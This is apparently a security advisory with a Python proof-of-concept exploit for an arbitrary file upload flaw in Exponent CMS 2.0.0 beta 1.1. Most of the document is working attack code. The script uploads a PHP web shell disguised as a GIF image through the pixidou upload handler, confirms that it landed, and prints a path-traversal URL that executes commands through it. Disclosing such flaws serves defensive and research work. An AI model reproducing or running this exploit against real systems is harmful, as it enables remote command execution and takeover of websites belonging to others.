An arbitrary upload vulnerability in Exponent version 2.0.0 beta 1.1 can be exploited to upload a PHP shell.
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# Software................Exponent 2.0.0 beta 1.1
# Vulnerability...........Arbitrary Upload
# Threat Level............Very Critical (5/5)
# Download................http://www.exponentcms.org/
# Discovery Date..........5/4/2011
# Tested On...............Windows Vista + XAMPP
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# Author..................AutoSec Tools
# Site....................http://www.autosectools.com/
# Email...................John Leitch <john@autosectools.com>
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#
#
# --Description--
#
# An arbitrary upload vulnerability in Exponent 2.0.0 beta 1.1 can be
# exploited to upload a PHP shell.
#
#
# --PoC--
import socket
host = 'localhost'
path = '/exponent'
shell_path = path + '/framework/modules/pixidou/images/shell.gif'
port = 80
def upload_shell():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(8)
s.send('POST ' + path + '/framework/modules/pixidou/upload.php HTTP/1.1\r\n'
'Host: localhost\r\n'
'Proxy-Connection: keep-alive\r\n'
'User-Agent: x\r\n'
'Content-Length: 160\r\n'
'Cache-Control: max-age=0\r\n'
'Origin: null\r\n'
'Content-Type: multipart/form-data; boundary=----x\r\n'
'Accept: text/html\r\n'
'Accept-Encoding: gzip,deflate,sdch\r\n'
'Accept-Language: en-US,en;q=0.8\r\n'
'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'
'\r\n'
'------x\r\n'
'Content-Disposition: form-data; name="uploadImage"; filename="shell.gif"\r\n'
'Content-Type: image/gif\r\n'
'\r\n'
'<?php echo system($_GET["CMD"]); ?>\r\n'
'------x--\r\n'
'\r\n')
resp = s.recv(8192)
http_ok = 'HTTP/1.1 200 OK'
if http_ok not in resp[:len(http_ok)]:
print 'error uploading shell'
return
else: print 'shell uploaded'
s.send('GET ' + shell_path + ' HTTP/1.1\r\n'\
'Host: ' + host + '\r\n\r\n')
if http_ok not in s.recv(8192)[:len(http_ok)]: print 'shell not found'
else:
print 'shell located at http://' + host + shell_path
print '\nexploit using lfi e.g. http://localhost/exponent/content_selector.php?controller=..%2f..%2fexponent%2fframework%2fmodules%2fpixidou%2fimages%2fshell.gif%00§ion=&action=&CMD=calc'
upload_shell()